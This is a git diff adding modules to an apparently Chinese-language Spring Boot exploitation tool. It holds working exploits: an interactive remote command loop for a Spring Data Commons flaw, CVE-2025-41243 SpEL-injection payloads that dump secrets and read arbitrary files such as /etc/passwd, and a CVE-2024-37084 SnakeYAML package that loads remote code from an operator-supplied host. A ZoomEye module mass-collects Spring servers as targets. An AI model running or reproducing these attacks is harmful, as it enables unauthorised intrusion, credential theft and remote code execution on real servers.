+ cprint("[+] 发现Spring_Data_Commons远程命令执行漏洞:", "red") + cprint('漏洞存在路径为 ' + urltest1 + '\n', "red") + print("[+] 执行命令模块(输入exit退出)") + choose = input("[+] 总共有两种Payload,请输入1或者2>>> ") + while 1: + Cmd = input("[+] 请输入要执行的命令>>> ") + if (choose == '1'): + payload3 = payload1.replace('whoami', Cmd) + else: + payload3 = payload2.replace('whoami', Cmd) + if Cmd == "exit": + sys.exit(0) + else: + re2 = requests.post(url=urltest2, data=payload3, headers=Headers, timeout = outtime, verify=False, proxies=proxies) + code2 = re2.status_code + if (int(code2) != 503): + cprint('[+] 该Payload已经打出,由于该漏洞无回显,请用Dnslog进行测试\n', "red") + else: + cprint("[-] 未发现Spring_Data_Commons远程命令执行漏洞\n", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + + +# 请不要使用vulhub上复现CVE-2022-22947的环境直接来测试这里的任意文件读取 +def CVE_2025_41243(url, proxies, header_new): + cprint("======开始对目标URL进行CVE-2025-41243漏洞利用======", "green") + oldHeader_1 = { + 'Accept-Encoding': 'gzip, deflate', + 'Accept': '*/*', + 'Accept-Language': 'en', + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/json' + } + oldHeader_2 = { + 'User-Agent': random.choice(ua), + 'Content-Type': 'application/x-www-form-urlencoded' + } + headers1 = json.loads(str(JSON_handle(oldHeader_1, header_new)).replace("'", "\"")) + headers2 = json.loads(str(JSON_handle(oldHeader_2, header_new)).replace("'", "\"")) + vul_status = 0 + + payload = """{ + "id": "", + "uri": "http://1.2.3.4:8443/", + "predicates": [{ + "name": "Path", + "args": { + "pattern": "/malicious" + } + }], + "filters": [ + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-get-environment", + "value": "#{@environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*'][0].source.![{#this.getKey, #this.getValue.toString}]}" + } + }, + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-get-systemProperties", + "value": "#{@systemProperties.![{#this.key, #this.value.toString}]}" + } + } +] +} + """ + + random_string = generate_random_route(5) + try: + payload_json = json.loads(payload) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + + try: + cprint("[+] 正在发送Payload", "green") + requests.packages.urllib3.disable_warnings() + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, verify=False, + proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + + if ('X-SpEL' in str(re3.text)): + cprint("[+] Payload已经输出,回显结果如下:", "red") + print('\n') + print(re3.text) + print('\n') + print("[+] 设置环境变量模块(输入exit退出)") + vul_status = 1 + if vul_status == 0: + cprint("[-] CVE-2025-41243漏洞不存在\n", "yellow") + + while vul_status == 1: + Do = int(input("[+] 输入1来设置环境变量,输入2来读取任意文件>>> ")) + + if Do == 1: + Key = input("[+] 请输入要设置的环境的键>>> ") + if Key == "exit": + sys.exit() + else: + payload_setevn = """{ + "id": "route-spel-readdata", + "uri": "http://1.2.3.4:8443/", + "predicates": [{ + "name": "Path", + "args": { + "pattern": "/malicious" + } + }], + "filters": [ + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-set-systemProperties", + "value": "#{@systemProperties['okkk'] != 'true' ? (@systemProperties['okkk'] = 'true') + @refreshEndpoint.refresh : 'ok'}" + } + }, + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-get-environment", + "value": "#{@environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*'][0].source.![{#this.getKey, #this.getValue.toString}]}" + } + }, + { + "name": "AddRequestHeader", + "args": { + "name": "X-SpEL-get-systemProperties", + "value": "#{@systemProperties.![{#this.key, #this.value.toString}]}" + } + } + ] + } + """ + payload_setevn = payload_setevn.replace('okkk', Key) + + Value = input("[+] 请输入要设置的环境的值>>> ") + payload_setevn = payload_setevn.replace('true', Value) + + random_string = generate_random_route(5) + try: + payload_json = json.loads(payload_setevn) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + re3 = requests.get(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, + timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + result = re3.text + cprint(result, "green") + print('\n') + + elif Do == 2: + is_Windows = input("[+] 目标是否为Windows系统?(y/n)>>> ") + + payload_readfile = """{ + "id": "lbz", + "uri": "http://1.2.3.4:8443/", + "predicates": [{ + "name": "Path", + "args": { + "pattern": "/malicious" + } + }], + "filters": [ + { + "name": "AddRequestHeader", + "args": { + "name": "aa", + "value": "#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}" + } + }, + { + "name": "AddRequestHeader", + "args": { + "name": "bb", + "value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='META-INF/resources/webjars/'}" + } + }, + { + "name": "AddRequestHeader", + "args": { + "name": "cc", + "value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}" + } + } +] +} + """ + if is_Windows == 'y': + FilePath = input("[+] 请输入要读取的文件路径(如C:\\Windows\\win.ini)>>> ") + FilePath = FilePath.strip().replace('\\', '/') + FilePath_left = FilePath.split('/', 1)[0] + FilePath_right = FilePath.split('/', 1)[1] + formated_path = 'file:///' + FilePath_left + '/' + payload_rf = payload_readfile.replace('META-INF/resources/webjars/', formated_path) + + random_string = generate_random_route(5) + try: + payload_json = json.loads(payload_rf) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + + res = requests.get(url=url + "webjars/" + FilePath_right, headers=header_new, timeout=outtime, verify=False, proxies=proxies) + + try: + payload_json = json.loads(payload_rf) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, + timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + result = res.text + cprint(result, "green") + print('\n') + + elif is_Windows == 'n': + FilePath = input("[+] 请输入要读取的文件路径(如/etc/passwd)>>> ") + FilePath_right = FilePath.split('/', 1)[1] + formated_path = 'file:///' + + payload_rf = payload_readfile.replace('META-INF/resources/webjars/', formated_path) + + random_string = generate_random_route(5) + try: + payload_json = json.loads(payload_rf) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + + res = requests.get(url=url + "webjars/" + FilePath_right, headers=header_new, timeout=outtime, + verify=False, proxies=proxies) + + try: + payload_json = json.loads(payload_rf) + except json.JSONDecodeError as e: + print(f"Error parsing JSON: {e}") + exit(1) + payload_json['id'] = random_string + + requests.post(url=url + "actuator/gateway/routes/" + random_string, headers=headers1, + timeout=outtime, json=payload_json, verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + requests.delete(url=url + "actuator/gateway/routes/" + random_string, headers=headers2, + timeout=outtime, + verify=False, proxies=proxies) + requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=outtime, + verify=False, proxies=proxies) + result = res.text + cprint(result, "green") + print('\n') + + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2024_37084(url, proxies, header_new): + cprint("======开始对目标URL进行CVE-2024-37084漏洞利用======", "green") + + oldHeaders_1 = { + "User-Agent": random.choice(ua), + } + oldHeaders_2 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/json" + } + Headers_1 = json.loads(str(JSON_handle(oldHeaders_1, header_new)).replace("'", "\"")) + Headers_2 = json.loads(str(JSON_handle(oldHeaders_2, header_new)).replace("'", "\"")) + + try: + try: + requests.packages.urllib3.disable_warnings() + response = requests.get(url + "api/package/", headers=Headers_1, timeout=outtime, verify=False, proxies=proxies) + response.raise_for_status() + data = response.json() + upload_href = data.get('_links', {}).get('upload', {}).get('href') + install_href = data.get('_links', {}).get('install', {}).get('href') + if upload_href and install_href: + cprint("[+] CVE-2024-37084远程命令执行漏洞可能存在,请输入dnslog提供的域名进一步验证\n", "red") + elif not upload_href or not install_href: + cprint("[-] CVE-2024-37084远程命令执行漏洞不存在\n", "yellow") + return + except Exception as e: + cprint("[-] CVE-2024-37084远程命令执行漏洞不存在\n", "yellow") + return + + dnslog = input("[+] 请输入DNSLOG的域名,或是恶意payload的地址>>> ") + dnslog = dnslog.strip() + if dnslog.startswith("http://"): + dnslog = dnslog[7:] + with tempfile.TemporaryDirectory() as temp_dir: + package_dir = os.path.join(temp_dir, "test-1.1.1") + os.makedirs(package_dir) + + yaml_file_path = os.path.join(package_dir, "package.yaml") + yaml_content = textwrap.dedent(f"""\ + apiVersion: 1.0.0 + origin: my origin + repositoryId: 12345 + repositoryName: local + kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://{dnslog}"]]]] + name: test1 + version: 1.1.1 + """) + + with open(yaml_file_path, 'w') as f: + f.write(yaml_content) + + with zipfile.ZipFile(os.path.join(temp_dir, "test-1.1.1.zip"), 'w', zipfile.ZIP_DEFLATED) as zipf: + for root, dirs, files in os.walk(package_dir): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, temp_dir) + zipf.write(file_path, arcname) + + with open(os.path.join(temp_dir, "test-1.1.1.zip"), 'rb') as f: + zip_data = f.read() + + zip_byte_list = [byte for byte in zip_data] + + json_data = { + "repoName": "local", + "name": "test", + "version": "1.1.1", + "extension": "zip", + "packageFileAsBytes": zip_byte_list + } + + response = requests.post(url + "api/package/upload", headers=Headers_2, timeout=outtime, verify=False, + proxies=proxies, json=json_data) + + data = response.json() + if data.get("exception") == "org.yaml.snakeyaml.constructor.ConstructorException": + cprint(f"[+] 目标 {url} 存在CVE-2024-37084远程命令执行漏洞,已成功触发DNSLOG", "red") + cprint(f"[+] 请前往DNSLOG平台查看是否有记录回连,并考虑使用https://github.com/artsploit/yaml-payload进行进一步RCE利用", "red") + cprint(f"[+] 将请求yaml-payload的地址填到原本dnslog位置即可\n", "red") + else: + cprint("[-] CVE-2024-37084远程命令执行漏洞不存在\n", "yellow") + + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + + +def generate_random_route(length=5): + characters = string.ascii_letters + return ''.join(random.choice(characters) for _ in range(length)) + +def vul(url, proxies, header_new): + functions = { + 1: JeeSpring_2023, + 2: CVE_2022_22947, + 3: CVE_2022_22963, + 4: CVE_2022_22965, + 5: CVE_2021_21234, + 6: SnakeYAML_RCE, + 7: Eureka_xstream_RCE, + 8: JolokiaRCE, + 9: CVE_2018_1273, + 10:CVE_2025_41243, + 11:CVE_2024_37084, + } + cprint("[+] 目前漏洞库内容如下:","green") + for num, func in functions.items(): + print(f" {num}: {func.__name__}") + try: + choices = input("\n请输入要检测的漏洞 (例子:1,3,5 直接回车即检测全部漏洞): ") + if choices == '': + choices = "1,2,3,4,5,6,7,8,9,10,11" + choices = [int(choice) for choice in choices.split(',')] + except Exception as e: + print("请不要输入无意义的字符串") + sys.exit() + for choice in choices: + selected_func = functions.get(choice) + if selected_func: + selected_func(url, proxies, header_new) + else: + print(f"{choice} 输入错误,请重新输入漏洞选择模块\n") + break cprint("后续会加入更多漏洞利用模块,请师傅们敬请期待~", "red") sys.exit() + diff --git a/inc/zoom.py b/inc/zoom.py new file mode 100644 index 0000000..26fa2df --- /dev/null +++ b/inc/zoom.py @@ -0,0 +1,124 @@ +#!/usr/bin/env python +# coding=utf-8 + ################ + # AabyssZG # +################ + +import requests, sys, json, re, random, base64 +from termcolor import cprint +from time import sleep +import urllib3 +urllib3.disable_warnings() + +def JSON_load(text): + json_str = text + data = json.loads(json_str) + # 提取ip和port信息 + ip_port_list = [(match["portinfo"]["hostname"], match["portinfo"]["service"], match["ip"], match["portinfo"]["port"]) for match in data["matches"]] + if ip_port_list == []: + cprint("[-] 没有搜索到任何资产,请确认你的语法是否正确","yellow") + sys.exit() + # 打印提取的信息 + for hostname, service, ip, port in ip_port_list: + if ("https" in service): + service = "https://" + else: + service = "http://" + if (hostname): + outurl = str(service) + str(hostname) + ":" + str(port) + else: + outurl = str(service) + str(ip) + ":" + str(port) + f2 = open("zoomout.txt", "a") + f2.write(str(outurl) + '\n') + f2.close() + print(f"Service: {outurl}") + +def Key_Dowload(key,proxies,choices,searchs): + cprint("======通过ZoomEye密钥进行API下载数据======","green") + Headers = { + "API-KEY": key, + "Content-Type": "application/x-www-form-urlencoded" + } + pagesys = (choices%20) + pageszc = (choices//20) + if pagesys > 0: + pages = pageszc + 1 + else: + pages = pageszc + i = 1 + while i <= pages: + page_url = "&page=" + str(i) + keyurl = "https://api.zoomeye.org/host/search?query="+ searchs + "&t=web" + dowloadurl = keyurl + page_url + cprint("[+] 正在尝试下载第 %d 页数据" % i, "red") + try: + requests.packages.urllib3.disable_warnings() + dowloadre = requests.get(url=dowloadurl, headers=Headers, timeout=6, verify=False, proxies=proxies) + if (dowloadre.status_code == 200) or (dowloadre.status_code == 201): + JSON_load(dowloadre.text) + cprint("-" * 45, "red") + else: + cprint("[-] API返回状态码为 %d" % dowloadre.status_code,"yellow") + cprint("[-] 请根据返回的状态码,参考官方手册:https://www.zoomeye.org/doc","yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + i = i + 1 + +def Key_Test(key,proxies,choices,searchs): + cprint("======您的ZoomEye密钥进行API对接测试======","green") + Headers = { + "API-KEY": key, + "Content-Type": "application/x-www-form-urlencoded" + } + keytesturl = "https://api.zoomeye.org/host/search?query=app:\"Spring Framework\"&page=1" + try: + requests.packages.urllib3.disable_warnings() + testre = requests.get(url=keytesturl, headers=Headers, timeout=6, verify=False, proxies=proxies) + if (testre.status_code == 200) or (testre.status_code == 201): + cprint("[+] 您的key有效,测试成功!", "red") + Key_Dowload(key,proxies,choices,searchs) + else: + cprint("[-] API返回状态码为 %d" % testre.status_code,"yellow") + cprint("[-] 请根据返回的状态码,参考官方手册:https://www.zoomeye.org/doc","yellow") + sys.exit() + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def ZoomDowload(key,proxies): + cprint("======开始对接ZoomEye接口进行Spring资产测绘======","green") + cprint('[+] 您的ZoomEye密钥为:' + key ,"green") + try: + choices = input("\n[.] 请输入要测绘的资产数量(默认100条): ") + if choices == '': + choices = "100" + elif int(choices) <= 0: + print("请不要输入负数") + sys.exit() + choices = int(choices) + except Exception as e: + print("请不要输入无意义的字符串") + sys.exit() + search = input("[.] 请输入要测绘的语句(默认app:\"Spring Framework\"): ") + if search == "": + searchs = str("app:\"Spring Framework\"") + else: + searchs = str(search) + f2 = open("zoomout.txt", "wb+") + f2.close() + Key_Test(key,proxies,choices,searchs) + count = len(open("zoomout.txt", 'r').readlines()) + if count >= 1: + cprint("[+][+][+] 已经将ZoomEye的资产结果导出至 zoomout.txt ,共%d行记录" % count,"red") + sys.exit() diff --git a/pic/Fofa.png b/pic/Fofa.png new file mode 100644 index 0000000..95f2bfb Binary files /dev/null and b/pic/Fofa.png differ diff --git a/pic/Headers.png b/pic/Headers.png new file mode 100644 index 0000000..f3a0452 Binary files /dev/null and b/pic/Headers.png differ diff --git a/pic/Hunter.png b/pic/Hunter.png new file mode 100644 index 0000000..5ec02c6 Binary files /dev/null and b/pic/Hunter.png differ diff --git a/pic/Poc.png b/pic/Poc.png new file mode 100644 index 0000000..af96db8 Binary files /dev/null and b/pic/Poc.png differ diff --git a/pic/ZoomEye.png b/pic/ZoomEye.png new file mode 100644 index 0000000..e8e0499 Binary files /dev/null and b/pic/ZoomEye.png differ diff --git "a/pic/\346\211\253\346\217\217\345\215\225\344\270\200URL.png" "b/pic/\346\211\253\346\217\217\345\215\225\344\270\200URL.png" index c9f0fdf..7cfc633 100644 Binary files "a/pic/\346\211\253\346\217\217\345\215\225\344\270\200URL.png" and "b/pic/\346\211\253\346\217\217\345\215\225\344\270\200URL.png" differ diff --git "a/pic/\346\211\253\346\217\217\345\271\266\344\270\213\350\275\275SpringBoot\346\225\217\346\204\237\346\226\207\344\273\266.png" "b/pic/\346\211\253\346\217\217\345\271\266\344\270\213\350\275\275SpringBoot\346\225\217\346\204\237\346\226\207\344\273\266.png" index 7ecf40e..33827ab 100644 Binary files "a/pic/\346\211\253\346\217\217\345\271\266\344\270\213\350\275\275SpringBoot\346\225\217\346\204\237\346\226\207\344\273\266.png" and "b/pic/\346\211\253\346\217\217\345\271\266\344\270\213\350\275\275SpringBoot\346\225\217\346\204\237\346\226\207\344\273\266.png" differ diff --git "a/pic/\350\257\273\345\217\226TXT\345\271\266\346\211\271\351\207\217\346\211\253\346\217\217.png" "b/pic/\350\257\273\345\217\226TXT\345\271\266\346\211\271\351\207\217\346\211\253\346\217\217.png" index 41dd7c9..0a5d3f3 100644 Binary files "a/pic/\350\257\273\345\217\226TXT\345\271\266\346\211\271\351\207\217\346\211\253\346\217\217.png" and "b/pic/\350\257\273\345\217\226TXT\345\271\266\346\211\271\351\207\217\346\211\253\346\217\217.png" differ diff --git "a/pic/\350\257\273\345\217\226\347\233\256\346\240\207TXT\350\277\233\350\241\214\346\211\271\351\207\217\346\225\217\346\204\237\346\226\207\344\273\266\346\211\253\346\217\217.png" "b/pic/\350\257\273\345\217\226\347\233\256\346\240\207TXT\350\277\233\350\241\214\346\211\271\351\207\217\346\225\217\346\204\237\346\226\207\344\273\266\346\211\253\346\217\217.png" new file mode 100644 index 0000000..f60165c Binary files /dev/null and "b/pic/\350\257\273\345\217\226\347\233\256\346\240\207TXT\350\277\233\350\241\214\346\211\271\351\207\217\346\225\217\346\204\237\346\226\207\344\273\266\346\211\253\346\217\217.png" differ diff --git a/requirements.txt b/requirements.txt index 00a5a4b..4fa3f07 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,6 @@ termcolor==1.1.0 tqdm==4.62.3 requests==2.28.1 -urllib3==1.26.4 +urllib3==1.26.7 +asyncio>=3.4.3 +aiohttp>=3.8.0 diff --git a/url.txt b/url.txt index e69de29..3185ed0 100644 --- a/url.txt +++ b/url.txt @@ -0,0 +1 @@ +http://localhost:7577 \ No newline at end of file